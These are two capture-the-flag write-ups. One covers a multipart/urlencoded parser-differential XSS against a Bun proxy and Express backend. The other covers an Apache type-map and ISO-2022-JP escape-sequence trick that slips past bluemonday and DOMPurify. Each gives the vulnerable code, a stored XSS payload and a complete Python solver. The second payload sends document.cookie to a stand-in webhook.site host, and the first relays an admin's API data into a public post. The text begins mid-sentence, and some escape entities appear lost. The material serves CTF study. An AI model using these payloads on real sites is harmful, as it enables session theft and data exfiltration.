request.formData() and treats a header like multipart/form-data; boundary=...; a="application/x-www-form-urlencoded" as urlencoded because it only checks for the urlencoded substring. The backend is Express plus Multer and still parses the same body as multipart.content is an <img onerror> payload, append the extra a="application/x-www-form-urlencoded" parameter so the proxy sanitizes the wrong parse result, store raw HTML, report the post, let the admin bot execute the XSS, have the XSS fetch /api/posts in the admin session and relay that JSON into a new public post, recover the unlisted admin post id, then fetch the flag post content directly.127.0.0.1:18082, the bot still seeds the flag on http://localhost:8082. The report URL has to use http://localhost:8082/post/<id> or the XSS runs on the wrong hostname and loses the admin session cookie.docker compose down && docker compose up -d && python3 solve.py returned RS{real_flag_not_for_testing}.why it is vulnerable
// middleware/index.ts
let form = await request.formData()
// Bun or Elysia parses the request here and decides whether to sanitize based on this parse result.
if (keys.some(key1 => dangerous_fields.some(key2 => key1.includes(key2)))) {
let sanitizedBody = new URLSearchParams()
// If Bun misclassifies the body as urlencoded, this sanitizes the wrong representation.
keys.forEach(key => sanitizedBody.append(key, purify.sanitize(form.get(key))))
}
// backend/index.js
app.use(express.urlencoded())
app.use(upload.none())
// Express plus Multer reparses the original body independently.
// With the mixed Content-Type header, the backend still treats it as multipart,
// so the raw HTML reaches post.content unsanitized.
app.post('/api/posts', (req, res) => {
let { nickname, title, content } = req.body
createPost({ nickname, title, content, sessionId: req.sessionID })
})
// public/post.html
body.innerHTML = post.content
// Stored HTML becomes direct JS execution.exploit payload
payload = (
'<img src=1 onerror="'
"fetch('/api/posts')"
".then(r=>r.text())"
".then(text=>fetch('/api/posts',{"
"method:'POST',"
"body:new URLSearchParams({content:text,title:'leak-tag',nickname:'relay-tag'})"
"}))"
'"'
)
req = requests.Request('POST', f'{TARGET}/api/posts', files={
'content': (None, payload),
'nickname': (None, 'user-tag'),
'title': (None, 'attack-tag'),
})
prep = req.prepare()
prep.headers['Content-Type'] = (
prep.headers['Content-Type'] + '; a="application/x-www-form-urlencoded"'
)
requests.Session().send(prep)solver
#!/usr/bin/env python3
import argparse
import json
import sys
import time
import uuid
import requests
FLAG_TITLE = "the flag... whoag...."
def build_payload(leak_title: str, leak_nick: str) -> str:
js = (
"fetch('/api/posts')"
".then(r=>r.text())"
".then(text=>fetch('/api/posts',{"
"method:'POST',"
f"body:new URLSearchParams({{content:text,title:'{leak_title}',nickname:'{leak_nick}'}})"
"}))"
)
return f'<img src=1 onerror="{js}">'
def create_attack_post(session: requests.Session, base: str, title: str, nickname: str, payload: str, timeout: float) -> str:
req = requests.Request(
"POST",
f"{base}/api/posts",
files={
"content": (None, payload),
"nickname": (None, nickname),
"title": (None, title),
},
)
prepped = req.prepare()
content_type = prepped.headers["Content-Type"]
prepped.headers["Content-Type"] = f'{content_type}; a="application/x-www-form-urlencoded"'
response = session.send(prepped, timeout=timeout)
response.raise_for_status()
data = response.json()
if not data.get("success") or "id" not in data:
raise RuntimeError(f"unexpected create response: {data}")
return data["id"]
def report_post(session: requests.Session, base: str, report_base: str, post_id: str, timeout: float) -> None:
response = session.post(
f"{base}/api/report",
data={"url": f"{report_base}/post/{post_id}"},
timeout=timeout,
)
response.raise_for_status()
data = response.json()
if not data.get("success"):
raise RuntimeError(f"report failed: {data}")
def get_posts(session: requests.Session, base: str, timeout: float) -> list[dict]:
response = session.get(f"{base}/api/posts", timeout=timeout)
response.raise_for_status()
return response.json()
def get_post(session: requests.Session, base: str, post_id: str, timeout: float) -> dict:
response = session.get(f"{base}/api/posts/{post_id}", timeout=timeout)
response.raise_for_status()
return response.json()
def wait_for_flag(session: requests.Session, base: str, leak_title: str, timeout: float, total_wait: float, poll_interval: float) -> str:
deadline = time.time() + total_wait
while time.time() < deadline:
posts = get_posts(session, base, timeout)
leak_post = next((post for post in posts if post["title"] == leak_title), None)
if leak_post is not None:
leak_content = get_post(session, base, leak_post["id"], timeout)["content"]
leaked_posts = json.loads(leak_content)
flag_post = next((post for post in leaked_posts if post["title"] == FLAG_TITLE), None)
if flag_post is not None:
return get_post(session, base, flag_post["id"], timeout)["content"]
time.sleep(poll_interval)
raise RuntimeError("flag not found before timeout")
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--target-base", default="http://127.0.0.1:18082")
parser.add_argument("--report-base", default="http://localhost:8082")
parser.add_argument("--timeout", type=float, default=5.0)
parser.add_argument("--wait-seconds", type=float, default=20.0)
parser.add_argument("--poll-interval", type=float, default=1.0)
args = parser.parse_args()
tag = uuid.uuid4().hex[:8]
attack_title = f"attack-{tag}"
attack_nick = f"user-{tag}"
leak_title = f"leak-{tag}"
leak_nick = f"relay-{tag}"
payload = build_payload(leak_title, leak_nick)
session = requests.Session()
post_id = create_attack_post(session, args.target_base.rstrip('/'), attack_title, attack_nick, payload, args.timeout)
print(f"[+] Created attack post: {post_id}")
report_post(session, args.target_base.rstrip('/'), args.report_base.rstrip('/'), post_id, args.timeout)
print(f"[+] Reported post to bot via {args.report_base.rstrip('/')}/post/{post_id}")
flag = wait_for_flag(session, args.target_base.rstrip('/'), leak_title, args.timeout, args.wait_seconds, args.poll_interval)
print(flag)
return 0
if __name__ == "__main__":
raise SystemExit(main())Apache type-map + ISO-2022-JP charset switch defeats bluemonday + DOMPurify
| Event Name | Umum - Finals 2025 |
| GitHub URL | - |
| Challenge Name | dark-days |
Attachments
References
AddHandler type-map var (in mod_mime) treats any filename whose segments include .var as an RFC 2295 type-map, ignoring .svg. The body section is re-served with whatever Content-type the type-map declares — here text/html; charset=iso-2022-jp — overriding the original image/svg+xml even with X-Content-Type-Options: nosniff set, because this is server-side handler selection, not MIME sniffing.svg + id) → Node DOMPurify on JSDOM.  is printable (5 ASCII chars) so it slips past the WAF; bluemonday's html tokenizer decodes the entity to a raw 0x1b byte inside the id attribute value; jsdom's parse5 serializer does NOT re-escape control chars (only & " ), so 0x1b rides all the way to disk.1b 24 42 switch the HTML decoder to JIS X 0208 and 1b 28 42 switch it back. The 7 ASCII bytes "></svg> between them are eaten as JIS multi-byte garbage, so the FIRST <svg id="... attribute value keeps consuming. The first literal " the decoder hands the tokenizer is the one inside the SECOND <svg id=", which closes the first attribute. Everything after — ><img src=x onerror=...> — is then tokenized as a fresh <img> element in HTML context (not as attribute text).bot/app.js sets a flag cookie on APP_URL's host (default http://localhost/) then navigates a fresh page to the operator-supplied URL via /visit?url=.... Same-host fetch of /uploads/a.var.<id>.svg sends the cookie; the parsed <img onerror> reads document.cookie and exfils.mod_mime being enabled (Ubuntu apache2 default) with AddHandler type-map var; mod_negotiation does NOT need to be enabled — the handler comes from mime.conf. The filename's .var segment must survive PHP's sanitize_output_stem (regex /[^a-zA-Z0-9_.-]+/ keeps .), so uploading as a.var.svg is enough — the saved file becomes a.var.<hex16>.svg.why it is vulnerable
# src/waf/app.py — strips raw 0x1b but keeps the printable entity 
def _sanitize_upload_payload(payload: bytes) -> bytes:
sanitized = "".join(
ch for ch in _decode_text_payload(payload)
if ch.isprintable() or ch in "\n\r\t" # 0x1b is NOT printable
)
return sanitized.encode("utf-8")// src/sanitizer-go/main.go — bluemonday allows <svg id=...>; the Go html
// tokenizer decodes  to a literal 0x1b in the attribute value, and
// the serializer only re-escapes & < > " ' — control bytes pass through.
p := bluemonday.StrictPolicy()
p.AllowElements("svg", ...)
p.AllowAttrs("id", ...).Globally()// src/scripts/sanitize.mjs — jsdom's parse5 serializer keeps 0x1b in attrs
const DOMPurify = createDOMPurify(new JSDOM("").window);
const sanitized = DOMPurify.sanitize(raw);# /etc/apache2/mods-available/mime.conf (loaded by default mod_mime)
# Any file whose name contains a `.var` extension is processed as a type-map.
AddHandler type-map varexploit payload
Upload with filename a.var.svg so the stored file is a.var.<hex>.svg, which Apache routes through the type-map handler:
Content-language: en
Content-type: text/html; charset=iso-2022-jp
Body:----foo----
<svg id="$B"></svg>(B<svg id="><img src=x onerror=location='https://webhook.site/YOUR-ID/'+document.cookie>"></svg>
----foo----After the full pipeline, Apache serves the body section with these headers:
Content-Type: text/html; charset=iso-2022-jp
Content-Language: enand the body bytes contain real 1b 24 42 / 1b 28 42 (not entities).
solver
#!/usr/bin/env python3
# Run: python3 solver.py http://TARGET https://webhook.site/YOUR-ID http://BOT_ORIGIN
# BOT_ORIGIN is what the bot uses to reach the app (default http://localhost).
import sys, re, requests
from urllib.parse import quote
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9000"
WEBHOOK = sys.argv[2] if len(sys.argv) > 2 else "https://webhook.site/REPLACE-ME"
BOT_ORIGIN = sys.argv[3] if len(sys.argv) > 3 else "http://localhost"
ESC = "" # printable through the Flask WAF, decoded to 0x1b by bluemonday
PAYLOAD = (
"Content-language: en\n"
"Content-type: text/html; charset=iso-2022-jp\n"
"Body:----foo----\n"
f'<svg id="{ESC}$B"></svg>{ESC}(B'
f'<svg id="><img src=x onerror=location=\'{WEBHOOK}/\'+document.cookie>"></svg>\n'
"----foo----\n"
)
# Filename MUST contain `.var` so Apache's type-map handler activates.
files = {"svg_file": ("a.var.svg", PAYLOAD.encode(), "image/svg+xml")}
r = requests.post(f"{TARGET}/", files=files, timeout=30); r.raise_for_status()
path = re.search(r'href="(/uploads/[^"]+)"', r.text).group(1)
print("[+] uploaded ->", path)
bot_url = f"{BOT_ORIGIN}{path}" # bot sees http://localhost, not the host port
requests.get(f"{TARGET}/visit?url={quote(bot_url)}", timeout=30).raise_for_status()
print("[+] bot fired -- check", WEBHOOK)